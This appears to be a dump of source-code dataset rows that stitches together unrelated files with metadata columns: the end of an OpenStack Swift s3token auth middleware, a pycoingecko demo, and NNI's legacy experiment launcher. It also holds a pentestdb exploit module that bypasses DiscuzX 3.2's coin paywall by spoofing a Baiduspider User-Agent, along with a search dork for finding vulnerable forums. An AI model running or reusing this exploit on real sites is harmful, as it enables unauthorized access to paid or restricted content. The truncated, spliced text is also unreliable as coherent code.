# identified and not doing a second query and just
# pass it through to swiftauth in this case.
try:
# NB: requests.Response, not swob.Response
tx_id = environ.get('swift.trans_id', 'UNKNOWN')
resp = self._json_request(creds_json, tx_id)
except HTTPException as e_resp:
if self._delay_auth_decision:
msg = ('Received error, deferring rejection based on '
'error: %s')
self._logger.debug(msg, e_resp.status)
return self._app(environ, start_response)
else:
msg = 'Received error, rejecting request with error: %s'
self._logger.debug(msg, e_resp.status)
# NB: swob.Response, not requests.Response
return e_resp(environ, start_response)
self._logger.debug('Keystone Reply: Status: %d, Output: %s',
resp.status_code, resp.content)
try:
token = resp.json()
if 'access' in token:
headers, token_id, tenant = parse_v2_response(token)
elif 'token' in token:
headers, token_id, tenant = parse_v3_response(token)
else:
raise ValueError
if memcache_client:
user_id = headers.get('X-User-Id')
if not user_id:
raise ValueError
try:
cred_ref = self.keystoneclient.ec2.get(
user_id=user_id,
access=access)
memcache_client.set(
memcache_token_key,
(headers, token_id, tenant, cred_ref.secret),
time=self._secret_cache_duration)
self._logger.debug("Cached keystone credentials")
except Exception:
self._logger.warning("Unable to cache secret",
exc_info=True)
# Populate the environment similar to auth_token,
# so we don't have to contact Keystone again.
# they're stored as native strings
req.environ['keystone.token_info'] = token
except (ValueError, KeyError, TypeError):
if self._delay_auth_decision:
error = ('Error on keystone reply: %d %s - '
'deferring rejection downstream')
self._logger.debug(error, resp.status_code, resp.content)
return self._app(environ, start_response)
else:
error = ('Error on keystone reply: %d %s - '
'rejecting request')
self._logger.debug(error, resp.status_code, resp.content)
return self._deny_request('InvalidURI')(
environ, start_response)
req.headers.update(headers)
req.headers['X-Auth-Token'] = token_id
tenant_to_connect = force_tenant or tenant['id']
if six.PY2 and isinstance(tenant_to_connect, six.text_type):
tenant_to_connect = tenant_to_connect.encode('utf-8')
self._logger.debug('Connecting with tenant: %s', tenant_to_connect)
new_tenant_name = '%s%s' % (self._reseller_prefix, tenant_to_connect)
environ['PATH_INFO'] = environ['PATH_INFO'].replace(account,
new_tenant_name)
return self._app(environ, start_response)
def filter_factory(global_conf, **local_conf):
conf = global_conf.copy()
conf.update(local_conf)
def auth_filter(app):
return S3Token(app, conf)
return auth_filter
| true | true |
f726129b2b4b6cf86775da7c613d9ac7bd8cbcd9 | 1,396 | py | Python | exploit/cms_discuzx_3_2_authority_bypass.py | Micr067/pentestdb | 6aa06e1406589567d51ab63a88bfe47416e906e9 | [
"Apache-2.0"
] | 686 | 2016-02-06T15:11:12.000Z | 2022-03-30T10:55:29.000Z | exploit/cms_discuzx_3_2_authority_bypass.py | WinDyXuu/pentestdb | 6aa06e1406589567d51ab63a88bfe47416e906e9 | [
"Apache-2.0"
] | 6 | 2016-08-14T15:13:31.000Z | 2020-03-03T14:01:28.000Z | exploit/cms_discuzx_3_2_authority_bypass.py | WinDyXuu/pentestdb | 6aa06e1406589567d51ab63a88bfe47416e906e9 | [
"Apache-2.0"
] | 284 | 2015-12-19T07:42:05.000Z | 2022-03-13T11:58:38.000Z | #!/usr/bin/env python
#-*- coding:utf-8 -*-
'''
Pentestdb, a database for penetration test.
Copyright (c) 2015 alpha1e0
'''
from pentest.libs.exploit import Exploit
from pentest.libs.exploit import Result
class DiscuzAB(Exploit):
expName = u"DiscuzX 3.2绕过虚拟币支付查看内容"
version = "1.0"
author = "alpha1e0"
language = "php"
appName = "discuz"
appVersion = "x3.2"
reference = ['http://www.secpulse.com/archives/33393.html','http://www.wooyun.org/bugs/wooyun-2010-099659']
description = u'''
漏洞利用条件:1.DiscuzX 3.2;2.没有其他权限设置
gh: inurl:forum.php "金币 才能浏览"
'''
def _verify(self):
result = Result(self)
sig = u"才能浏览"
userAgent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
#userAgent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://**.**.**.**/search/spider.html)"
headers = {'User-Agent':userAgent}
response = self.http.get(self.url)
response2 = self.http.get(self.url, headers=headers)
if response2.status_code==200:
if sig.encode("utf-8") in response.content and sig.encode("gbk")in response.content and sig.encode("utf-8") not in response2.content and sig.encode("gbk") not in response2.content:
result['fullpath'] = self.url
result['payload'] = userAgent
return result
| 29.702128 | 193 | 0.62894 |
from pentest.libs.exploit import Exploit
from pentest.libs.exploit import Result
class DiscuzAB(Exploit):
expName = u"DiscuzX 3.2绕过虚拟币支付查看内容"
version = "1.0"
author = "alpha1e0"
language = "php"
appName = "discuz"
appVersion = "x3.2"
reference = ['http://www.secpulse.com/archives/33393.html','http://www.wooyun.org/bugs/wooyun-2010-099659']
description = u'''
漏洞利用条件:1.DiscuzX 3.2;2.没有其他权限设置
gh: inurl:forum.php "金币 才能浏览"
'''
def _verify(self):
result = Result(self)
sig = u"才能浏览"
userAgent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
headers = {'User-Agent':userAgent}
response = self.http.get(self.url)
response2 = self.http.get(self.url, headers=headers)
if response2.status_code==200:
if sig.encode("utf-8") in response.content and sig.encode("gbk")in response.content and sig.encode("utf-8") not in response2.content and sig.encode("gbk") not in response2.content:
result['fullpath'] = self.url
result['payload'] = userAgent
return result
| true | true |
f72613e5e98b0d452caf3c66a76ef87d7056fcbc | 650 | py | Python | 006_pycoingecko_intro/app.py | peterhaasme/100daysofweb3 | 5d41ef2261733766c4b19e42cc8a9e6c4b52c75c | [
"Unlicense"
] | 1 | 2022-02-18T04:05:33.000Z | 2022-02-18T04:05:33.000Z | 006_pycoingecko_intro/app.py | peterhaasme/100daysofweb3 | 5d41ef2261733766c4b19e42cc8a9e6c4b52c75c | [
"Unlicense"
] | null | null | null | 006_pycoingecko_intro/app.py | peterhaasme/100daysofweb3 | 5d41ef2261733766c4b19e42cc8a9e6c4b52c75c | [
"Unlicense"
] | null | null | null | # 006_pycoingecko_intro
# explore pycoingecko usage
import json
from pprint import pprint
from pycoingecko import CoinGeckoAPI
cg = CoinGeckoAPI()
# Check API server status
ping = cg.ping()
pprint(ping)
# Get coin price
coin_price = cg.get_price(ids='bitcoin', vs_currencies='usd')
pprint(coin_price)
# Save all supported coins to json
# coins_list = cg.get_coins_list()
# with open('coins_list.json', 'w') as file:
# json.dump(coins_list, file)
# Save all supported coins market info to json
# coins_markets = cg.get_coins_markets(vs_currency='usd')
# with open('coins_markets.json', 'w') as file:
# json.dump(coins_markets, file)
#
| 22.413793 | 61 | 0.741538 |
import json
from pprint import pprint
from pycoingecko import CoinGeckoAPI
cg = CoinGeckoAPI()
ping = cg.ping()
pprint(ping)
coin_price = cg.get_price(ids='bitcoin', vs_currencies='usd')
pprint(coin_price)
| true | true |
f72614a99c832ad2bc453e1394d9ab2f30537e5f | 30,583 | py | Python | nni/tools/nnictl/legacy_launcher.py | dutxubo/nni | c16f4e1c89b54b8b80661ef0072433d255ad2d24 | [
"MIT"
] | null | null | null | nni/tools/nnictl/legacy_launcher.py | dutxubo/nni | c16f4e1c89b54b8b80661ef0072433d255ad2d24 | [
"MIT"
] | null | null | null | nni/tools/nnictl/legacy_launcher.py | dutxubo/nni | c16f4e1c89b54b8b80661ef0072433d255ad2d24 | [
"MIT"
] | null | null | null | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
import json
import os
from pathlib import Path
import sys
import string
import random
import time
import tempfile
import re
from subprocess import Popen, check_call, CalledProcessError, PIPE, STDOUT
from nni.experiment.config import ExperimentConfig, convert
from nni.tools.annotation import expand_annotations, generate_search_space
from nni.tools.package_utils.tuner_factory import get_builtin_module_class_name
from .launcher_utils import validate_all_content
from .rest_utils import rest_put, rest_post, check_rest_server, check_response
from .url_utils import cluster_metadata_url, experiment_url, get_local_urls, set_prefix_url
from .config_utils import Config, Experiments
from .common_utils import get_yml_content, get_json_content, print_error, print_normal, detect_port, get_user
from .constants import NNI_HOME_DIR, ERROR_INFO, REST_TIME_OUT, EXPERIMENT_SUCCESS_INFO, LOG_HEADER
from .command_utils import check_output_command, kill_command
from .nnictl_utils import update_experiment
k8s_training_services = ['kubeflow', 'frameworkcontroller', 'adl']
def get_log_path(experiment_id):
'''generate stdout and stderr log path'''
os.makedirs(os.path.join(NNI_HOME_DIR, experiment_id, 'log'), exist_ok=True)
stdout_full_path = os.path.join(NNI_HOME_DIR, experiment_id, 'log', 'nnictl_stdout.log')
stderr_full_path = os.path.join(NNI_HOME_DIR, experiment_id, 'log', 'nnictl_stderr.log')
return stdout_full_path, stderr_full_path
def print_log_content(config_file_name):
'''print log information'''
stdout_full_path, stderr_full_path = get_log_path(config_file_name)
print_normal(' Stdout:')
print(check_output_command(stdout_full_path))
print('\n\n')
print_normal(' Stderr:')
print(check_output_command(stderr_full_path))
def start_rest_server(port, platform, mode, experiment_id, foreground=False, log_dir=None, log_level=None, url_prefix=None):
'''Run nni manager process'''
if detect_port(port):
print_error('Port %s is used by another process, please reset the port!\n' \
'You could use \'nnictl create --help\' to get help information' % port)
exit(1)
if (platform not in ['local', 'aml']) and detect_port(int(port) + 1):
print_error('%s mode need an additional adjacent port %d, and the port %d is used by another process!\n' \
'You could set another port to start experiment!\n' \
'You could use \'nnictl create --help\' to get help information' % (platform, (int(port) + 1), (int(port) + 1)))
exit(1)
print_normal('Starting restful server...')
import nni_node
entry_dir = nni_node.__path__[0]
if (not entry_dir) or (not os.path.exists(entry_dir)):
print_error('Fail to find nni under python library')
exit(1)
entry_file = os.path.join(entry_dir, 'main.js')
if sys.platform == 'win32':
node_command = os.path.join(entry_dir, 'node.exe')
else:
node_command = os.path.join(entry_dir, 'node')
cmds = [node_command, '--max-old-space-size=4096', entry_file, '--port', str(port), '--mode', platform, \
'--experiment_id', experiment_id]
cmds += ['--action', mode]
if log_dir is not None:
cmds += ['--experiments-directory', log_dir]
if log_level is not None:
cmds += ['--log-level', log_level]
if foreground:
cmds += ['--foreground', 'true']
if url_prefix:
_validate_prefix_path(url_prefix)
set_prefix_url(url_prefix)
cmds += ['--url-prefix', url_prefix.strip('/')]
stdout_full_path, stderr_full_path = get_log_path(experiment_id)
with open(stdout_full_path, 'a+') as stdout_file, open(stderr_full_path, 'a+') as stderr_file:
start_time = time.time()
time_now = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(start_time))
#add time information in the header of log files
log_header = LOG_HEADER % str(time_now)
stdout_file.write(log_header)
stderr_file.write(log_header)
if sys.platform == 'win32':
from subprocess import CREATE_NEW_PROCESS_GROUP
if foreground:
process = Popen(cmds, cwd=entry_dir, stdout=PIPE, stderr=STDOUT, creationflags=CREATE_NEW_PROCESS_GROUP)
else:
process = Popen(cmds, cwd=entry_dir, stdout=stdout_file, stderr=stderr_file, creationflags=CREATE_NEW_PROCESS_GROUP)
else:
if foreground:
process = Popen(cmds, cwd=entry_dir, stdout=PIPE, stderr=PIPE)
else:
process = Popen(cmds, cwd=entry_dir, stdout=stdout_file, stderr=stderr_file)
return process, int(start_time * 1000)
def set_trial_config(experiment_config, port, config_file_name):
'''set trial configuration'''
request_data = dict()
request_data['trial_config'] = experiment_config['trial']
response = rest_put(cluster_metadata_url(port), json.dumps(request_data), REST_TIME_OUT)
if check_response(response):
return True
else:
print('Error message is {}'.format(response.text))
_, stderr_full_path = get_log_path(config_file_name)
if response:
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(response.text), indent=4, sort_keys=True, separators=(',', ':')))
return False
def set_adl_config(experiment_config, port, config_file_name):
'''set adl configuration'''
adl_config_data = dict()
# hack for supporting v2 config, need refactor
adl_config_data['adl_config'] = {}
response = rest_put(cluster_metadata_url(port), json.dumps(adl_config_data), REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
set_V1_common_config(experiment_config, port, config_file_name)
result, message = setNNIManagerIp(experiment_config, port, config_file_name)
if not result:
return result, message
#set trial_config
return set_trial_config(experiment_config, port, config_file_name), None
def validate_response(response, config_file_name):
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
print_error('Error:' + err_message)
exit(1)
# hack to fix v1 version_check and log_collection bug, need refactor
def set_V1_common_config(experiment_config, port, config_file_name):
version_check = True
#debug mode should disable version check
if experiment_config.get('debug') is not None:
version_check = not experiment_config.get('debug')
#validate version check
if experiment_config.get('versionCheck') is not None:
version_check = experiment_config.get('versionCheck')
response = rest_put(cluster_metadata_url(port), json.dumps({'version_check': version_check}), REST_TIME_OUT)
validate_response(response, config_file_name)
if experiment_config.get('logCollection'):
data = json.dumps({'log_collection': experiment_config.get('logCollection')})
response = rest_put(cluster_metadata_url(port), data, REST_TIME_OUT)
validate_response(response, config_file_name)
def setNNIManagerIp(experiment_config, port, config_file_name):
'''set nniManagerIp'''
if experiment_config.get('nniManagerIp') is None:
return True, None
ip_config_dict = dict()
ip_config_dict['nni_manager_ip'] = {'nniManagerIp': experiment_config['nniManagerIp']}
response = rest_put(cluster_metadata_url(port), json.dumps(ip_config_dict), REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
return True, None
def set_kubeflow_config(experiment_config, port, config_file_name):
'''set kubeflow configuration'''
kubeflow_config_data = dict()
kubeflow_config_data['kubeflow_config'] = experiment_config['kubeflowConfig']
response = rest_put(cluster_metadata_url(port), json.dumps(kubeflow_config_data), REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
set_V1_common_config(experiment_config, port, config_file_name)
result, message = setNNIManagerIp(experiment_config, port, config_file_name)
if not result:
return result, message
#set trial_config
return set_trial_config(experiment_config, port, config_file_name), err_message
def set_frameworkcontroller_config(experiment_config, port, config_file_name):
'''set kubeflow configuration'''
frameworkcontroller_config_data = dict()
frameworkcontroller_config_data['frameworkcontroller_config'] = experiment_config['frameworkcontrollerConfig']
response = rest_put(cluster_metadata_url(port), json.dumps(frameworkcontroller_config_data), REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
set_V1_common_config(experiment_config, port, config_file_name)
result, message = setNNIManagerIp(experiment_config, port, config_file_name)
if not result:
return result, message
#set trial_config
return set_trial_config(experiment_config, port, config_file_name), err_message
def set_shared_storage(experiment_config, port, config_file_name):
if 'sharedStorage' in experiment_config:
data = json.dumps({'shared_storage_config': experiment_config['sharedStorage']})
response = rest_put(cluster_metadata_url(port), data, REST_TIME_OUT)
err_message = None
if not response or not response.status_code == 200:
if response is not None:
err_message = response.text
_, stderr_full_path = get_log_path(config_file_name)
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(err_message), indent=4, sort_keys=True, separators=(',', ':')))
return False, err_message
return True, None
def set_experiment_v1(experiment_config, mode, port, config_file_name):
'''Call startExperiment (rest POST /experiment) with yaml file content'''
request_data = dict()
request_data['authorName'] = experiment_config['authorName']
request_data['experimentName'] = experiment_config['experimentName']
request_data['trialConcurrency'] = experiment_config['trialConcurrency']
request_data['maxExecDuration'] = experiment_config['maxExecDuration']
request_data['maxExperimentDuration'] = str(experiment_config['maxExecDuration']) + 's'
request_data['maxTrialNum'] = experiment_config['maxTrialNum']
request_data['maxTrialDuration'] = experiment_config['maxTrialDuration']
request_data['maxTrialNumber'] = experiment_config['maxTrialNum']
request_data['searchSpace'] = experiment_config.get('searchSpace')
request_data['trainingServicePlatform'] = experiment_config.get('trainingServicePlatform')
# hack for hotfix, fix config.trainingService undefined error, need refactor
request_data['trainingService'] = {'platform': experiment_config.get('trainingServicePlatform')}
if experiment_config.get('description'):
request_data['description'] = experiment_config['description']
if experiment_config.get('multiPhase'):
request_data['multiPhase'] = experiment_config.get('multiPhase')
if experiment_config.get('multiThread'):
request_data['multiThread'] = experiment_config.get('multiThread')
if experiment_config.get('nniManagerIp'):
request_data['nniManagerIp'] = experiment_config.get('nniManagerIp')
if experiment_config.get('advisor'):
request_data['advisor'] = experiment_config['advisor']
if request_data['advisor'].get('gpuNum'):
print_error('gpuNum is deprecated, please use gpuIndices instead.')
if request_data['advisor'].get('gpuIndices') and isinstance(request_data['advisor'].get('gpuIndices'), int):
request_data['advisor']['gpuIndices'] = str(request_data['advisor'].get('gpuIndices'))
else:
request_data['tuner'] = experiment_config['tuner']
if request_data['tuner'].get('gpuNum'):
print_error('gpuNum is deprecated, please use gpuIndices instead.')
if request_data['tuner'].get('gpuIndices') and isinstance(request_data['tuner'].get('gpuIndices'), int):
request_data['tuner']['gpuIndices'] = str(request_data['tuner'].get('gpuIndices'))
if 'assessor' in experiment_config:
request_data['assessor'] = experiment_config['assessor']
if request_data['assessor'].get('gpuNum'):
print_error('gpuNum is deprecated, please remove it from your config file.')
#debug mode should disable version check
if experiment_config.get('debug') is not None:
request_data['versionCheck'] = not experiment_config.get('debug')
#validate version check
if experiment_config.get('versionCheck') is not None:
request_data['versionCheck'] = experiment_config.get('versionCheck')
if experiment_config.get('logCollection'):
request_data['logCollection'] = experiment_config.get('logCollection')
request_data['clusterMetaData'] = []
if experiment_config['trainingServicePlatform'] == 'kubeflow':
request_data['clusterMetaData'].append(
{'key': 'kubeflow_config', 'value': experiment_config['kubeflowConfig']})
request_data['clusterMetaData'].append(
{'key': 'trial_config', 'value': experiment_config['trial']})
elif experiment_config['trainingServicePlatform'] == 'frameworkcontroller':
request_data['clusterMetaData'].append(
{'key': 'frameworkcontroller_config', 'value': experiment_config['frameworkcontrollerConfig']})
request_data['clusterMetaData'].append(
{'key': 'trial_config', 'value': experiment_config['trial']})
elif experiment_config['trainingServicePlatform'] == 'adl':
request_data['clusterMetaData'].append(
{'key': 'trial_config', 'value': experiment_config['trial']})
response = rest_post(experiment_url(port), json.dumps(request_data), REST_TIME_OUT, show_error=True)
if check_response(response):
return response
else:
_, stderr_full_path = get_log_path(config_file_name)
if response is not None:
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(response.text), indent=4, sort_keys=True, separators=(',', ':')))
print_error('Setting experiment error, error message is {}'.format(response.text))
return None
def set_experiment_v2(experiment_config, mode, port, config_file_name):
'''Call startExperiment (rest POST /experiment) with yaml file content'''
response = rest_post(experiment_url(port), json.dumps(experiment_config), REST_TIME_OUT, show_error=True)
if check_response(response):
return response
else:
_, stderr_full_path = get_log_path(config_file_name)
if response is not None:
with open(stderr_full_path, 'a+') as fout:
fout.write(json.dumps(json.loads(response.text), indent=4, sort_keys=True, separators=(',', ':')))
print_error('Setting experiment error, error message is {}'.format(response.text))
return None
def set_platform_config(platform, experiment_config, port, config_file_name, rest_process):
'''call set_cluster_metadata for specific platform'''
print_normal('Setting {0} config...'.format(platform))
config_result, err_msg = None, None
if platform == 'adl':
config_result, err_msg = set_adl_config(experiment_config, port, config_file_name)
elif platform == 'kubeflow':
config_result, err_msg = set_kubeflow_config(experiment_config, port, config_file_name)
elif platform == 'frameworkcontroller':
config_result, err_msg = set_frameworkcontroller_config(experiment_config, port, config_file_name)
else:
raise Exception(ERROR_INFO % 'Unsupported platform!')
exit(1)
if config_result:
config_result, err_msg = set_shared_storage(experiment_config, port, config_file_name)
if config_result:
print_normal('Successfully set {0} config!'.format(platform))
else:
print_error('Failed! Error is: {}'.format(err_msg))
try:
kill_command(rest_process.pid)
except Exception:
raise Exception(ERROR_INFO % 'Rest server stopped!')
exit(1)
def launch_experiment(args, experiment_config, mode, experiment_id, config_version):
'''follow steps to start rest server and start experiment'''
# check packages for tuner
package_name, module_name = None, None
if experiment_config.get('tuner') and experiment_config['tuner'].get('builtinTunerName'):
package_name = experiment_config['tuner']['builtinTunerName']
module_name, _ = get_builtin_module_class_name('tuners', package_name)
elif experiment_config.get('advisor') and experiment_config['advisor'].get('builtinAdvisorName'):
package_name = experiment_config['advisor']['builtinAdvisorName']
module_name, _ = get_builtin_module_class_name('advisors', package_name)
if package_name and module_name:
try:
stdout_full_path, stderr_full_path = get_log_path(experiment_id)
with open(stdout_full_path, 'a+') as stdout_file, open(stderr_full_path, 'a+') as stderr_file:
check_call([sys.executable, '-c', 'import %s'%(module_name)], stdout=stdout_file, stderr=stderr_file)
except CalledProcessError:
print_error('some errors happen when import package %s.' %(package_name))
print_log_content(experiment_id)
if package_name in ['SMAC', 'BOHB', 'PPOTuner']:
print_error(f'The dependencies for {package_name} can be installed through pip install nni[{package_name}]')
raise
if config_version == 1:
log_dir = experiment_config['logDir'] if experiment_config.get('logDir') else NNI_HOME_DIR
else:
log_dir = experiment_config['experimentWorkingDirectory'] if experiment_config.get('experimentWorkingDirectory') else NNI_HOME_DIR
log_level = experiment_config['logLevel'] if experiment_config.get('logLevel') else 'info'
#view experiment mode do not need debug function, when view an experiment, there will be no new logs created
foreground = False
if mode != 'view':
foreground = args.foreground
if log_level not in ['trace', 'debug'] and (args.debug or experiment_config.get('debug') is True):
log_level = 'debug'
# start rest server
if config_version == 1:
platform = experiment_config['trainingServicePlatform']
elif isinstance(experiment_config['trainingService'], list):
platform = 'hybrid'
else:
platform = experiment_config['trainingService']['platform']
rest_process, start_time = start_rest_server(args.port, platform, \
mode, experiment_id, foreground, log_dir, log_level, args.url_prefix)
# save experiment information
Experiments().add_experiment(experiment_id, args.port, start_time,
platform,
experiment_config.get('experimentName', 'N/A')
, pid=rest_process.pid, logDir=log_dir, prefixUrl=args.url_prefix)
# Deal with annotation
if experiment_config.get('useAnnotation'):
path = os.path.join(tempfile.gettempdir(), get_user(), 'nni', 'annotation')
if not os.path.isdir(path):
os.makedirs(path)
path = tempfile.mkdtemp(dir=path)
if config_version == 1:
nas_mode = experiment_config['trial'].get('nasMode', 'classic_mode')
code_dir = expand_annotations(experiment_config['trial']['codeDir'], path, nas_mode=nas_mode)
experiment_config['trial']['codeDir'] = code_dir
else:
code_dir = expand_annotations(experiment_config['trialCodeDirectory'], path)
experiment_config['trialCodeDirectory'] = code_dir
search_space = generate_search_space(code_dir)
experiment_config['searchSpace'] = search_space
assert search_space, ERROR_INFO % 'Generated search space is empty'
elif config_version == 1:
if experiment_config.get('searchSpacePath'):
search_space = get_json_content(experiment_config.get('searchSpacePath'))
experiment_config['searchSpace'] = search_space
else:
experiment_config['searchSpace'] = ''
# check rest server
running, _ = check_rest_server(args.port)
if running:
print_normal('Successfully started Restful server!')
else:
print_error('Restful server start failed!')
print_log_content(experiment_id)
try:
kill_command(rest_process.pid)
except Exception:
raise Exception(ERROR_INFO % 'Rest server stopped!')
exit(1)
if config_version == 1 and mode != 'view':
# set platform configuration
set_platform_config(experiment_config['trainingServicePlatform'], experiment_config, args.port,\
experiment_id, rest_process)
# start a new experiment
print_normal('Starting experiment...')
# set debug configuration
if mode != 'view' and experiment_config.get('debug') is None:
experiment_config['debug'] = args.debug
if config_version == 1:
response = set_experiment_v1(experiment_config, mode, args.port, experiment_id)
else:
response = set_experiment_v2(experiment_config, mode, args.port, experiment_id)
if response:
if experiment_id is None:
experiment_id = json.loads(response.text).get('experiment_id')
else:
print_error('Start experiment failed!')
print_log_content(experiment_id)
try:
kill_command(rest_process.pid)
except Exception:
raise Exception(ERROR_INFO % 'Restful server stopped!')
exit(1)
url_prefix_format = '' if args.url_prefix is None else '/{0}'.format(args.url_prefix)
if experiment_config.get('nniManagerIp'):
web_ui_url_list = ['http://{0}:{1}{2}'.format(experiment_config['nniManagerIp'], str(args.port), url_prefix_format)]
else:
web_ui_url_list = get_local_urls(args.port, url_prefix_format)
Experiments().update_experiment(experiment_id, 'webuiUrl', web_ui_url_list)
print_normal(EXPERIMENT_SUCCESS_INFO % (experiment_id, ' '.join(web_ui_url_list)))
if mode != 'view' and args.foreground:
try:
while True:
log_content = rest_process.stdout.readline().strip().decode('utf-8')
print(log_content)
except KeyboardInterrupt:
kill_command(rest_process.pid)
print_normal('Stopping experiment...')
def _validate_v1(config, path):
try:
validate_all_content(config, path)
except Exception as e:
print_error(f'Config V1 validation failed: {repr(e)}')
exit(1)
def _validate_v2(config, path):
base_path = Path(path).parent
try:
conf = ExperimentConfig(_base_path=base_path, **config)
return conf.json()
except Exception as e:
print_error(f'Config V2 validation failed: {repr(e)}')
def _validate_prefix_path(path):
assert not path.startswith('/'), 'URL prefix should not start with "/".'
parts = path.split('/')
valid = all(re.match('^[A-Za-z0-9_-]*$', part) for part in parts)
assert valid, 'URL prefix should only contain letter, number, underscore, and hyphen.'
def create_experiment(args):
'''start a new experiment'''
experiment_id = ''.join(random.sample(string.ascii_letters + string.digits, 8))
config_path = os.path.abspath(args.config)
if not os.path.exists(config_path):
print_error('Please set correct config path!')
exit(1)
config_yml = get_yml_content(config_path)
if 'trainingServicePlatform' in config_yml:
_validate_v1(config_yml, config_path)
platform = config_yml['trainingServicePlatform']
if platform in k8s_training_services:
schema = 1
config_v1 = config_yml
else:
schema = 2
config_v2 = convert.to_v2(config_yml).json()
else:
config_v2 = _validate_v2(config_yml, config_path)
schema = 2
try:
if schema == 1:
launch_experiment(args, config_v1, 'create', experiment_id, 1)
else:
launch_experiment(args, config_v2, 'create', experiment_id, 2)
except Exception as exception:
restServerPid = Experiments().get_all_experiments().get(experiment_id, {}).get('pid')
if restServerPid:
kill_command(restServerPid)
print_error(exception)
exit(1)
def manage_stopped_experiment(args, mode):
'''view a stopped experiment'''
update_experiment()
experiments_config = Experiments()
experiments_dict = experiments_config.get_all_experiments()
experiment_id = None
#find the latest stopped experiment
if not args.id:
print_error('Please set experiment id! \nYou could use \'nnictl {0} id\' to {0} a stopped experiment!\n' \
'You could use \'nnictl experiment list --all\' to show all experiments!\n' \
'If your experiment is not started in current machine, you could specify experiment folder using ' \
'--experiment_dir argument'.format(mode))
exit(1)
else:
if experiments_dict.get(args.id) is None:
print_error('Id %s not exist!' % args.id)
exit(1)
if experiments_dict[args.id]['status'] != 'STOPPED':
print_error('Only stopped experiments can be {0}ed!'.format(mode))
exit(1)
experiment_id = args.id
print_normal('{0} experiment {1}...'.format(mode, experiment_id))
experiment_config = Config(experiment_id, experiments_dict[args.id]['logDir']).get_config()
experiments_config.update_experiment(args.id, 'port', args.port)
args.url_prefix = experiments_dict[args.id]['prefixUrl']
assert 'trainingService' in experiment_config or 'trainingServicePlatform' in experiment_config
try:
if 'trainingServicePlatform' in experiment_config:
experiment_config['logDir'] = experiments_dict[args.id]['logDir']
launch_experiment(args, experiment_config, mode, experiment_id, 1)
else:
experiment_config['experimentWorkingDirectory'] = experiments_dict[args.id]['logDir']
launch_experiment(args, experiment_config, mode, experiment_id, 2)
except Exception as exception:
restServerPid = Experiments().get_all_experiments().get(experiment_id, {}).get('pid')
if restServerPid:
kill_command(restServerPid)
print_error(exception)
exit(1)
def view_experiment(args):
'''view a stopped experiment'''
if args.experiment_dir:
manage_external_experiment(args, 'view')
else:
manage_stopped_experiment(args, 'view')
def resume_experiment(args):
'''resume an experiment'''
'''view a stopped experiment'''
if args.experiment_dir:
manage_external_experiment(args, 'resume')
else:
manage_stopped_experiment(args, 'resume')
def manage_external_experiment(args, mode):
'''view a experiment from external path'''
# validate arguments
if not os.path.exists(args.experiment_dir):
print_error('Folder %s does not exist!' % args.experiment_dir)
exit(1)
if not os.path.isdir(args.experiment_dir):
print_error('Path %s is not folder directory!' % args.experiment_dir)
exit(1)
if args.id:
experiment_id = args.id
log_dir = args.experiment_dir
else:
print_normal('NNI can not detect experiment id in argument, will use last folder name as experiment id in experiment_dir argument.')
experiment_id = Path(args.experiment_dir).name
log_dir = str(Path(args.experiment_dir).parent)
if not experiment_id:
print_error("Please set experiment id argument, or add id as the last folder name in experiment_dir argument.")
exit(1)
args.url_prefix = None
experiment_config = Config(experiment_id, log_dir).get_config()
assert 'trainingService' in experiment_config or 'trainingServicePlatform' in experiment_config
try:
if 'trainingServicePlatform' in experiment_config:
experiment_config['logDir'] = log_dir
launch_experiment(args, experiment_config, mode, experiment_id, 1)
else:
experiment_config['experimentWorkingDirectory'] = log_dir
launch_experiment(args, experiment_config, mode, experiment_id, 2)
except Exception as exception:
print_error(exception)
exit(1)
| 49.647727 | 140 | 0.688552 |
import json
import os
from pathlib import Path
import sys
import string
import random
import time
import tempfile
import re
from subprocess import Popen, check_call, CalledProcessError, PIPE, STDOUT
from nni.experiment.config import ExperimentConfig, convert
from nni.tools.annotation import expand_annotations, generate_search_space
from nni.tools.package_utils.tuner_factory import get_builtin_module_class_name
from .launcher_utils import validate_all_content
from .rest_utils import rest_put, rest_post, check_rest_server, check_response
from .url_utils import cluster_metadata_url, experiment_url, get_local_urls, set_prefix_url
from .config_utils import Config, Experiments
from .common_utils import get_yml_content, get_json_content, print_error, print_normal, detect_port, get_user
from .constants import NNI_HOME_DIR, ERROR_INFO, REST_TIME_OUT, EXPERIMENT_SUCCESS_INFO, LOG_HEADER
from .command_utils import check_output_command, kill_command
from .nnictl_utils import update_experiment
k8s_training_services = ['kubeflow', 'frameworkcontroller', 'adl']
def get_log_path(experiment_id):
os.makedirs(os.path.join(NNI_HOME_DIR, experiment_id, 'log'), exist_ok=True)
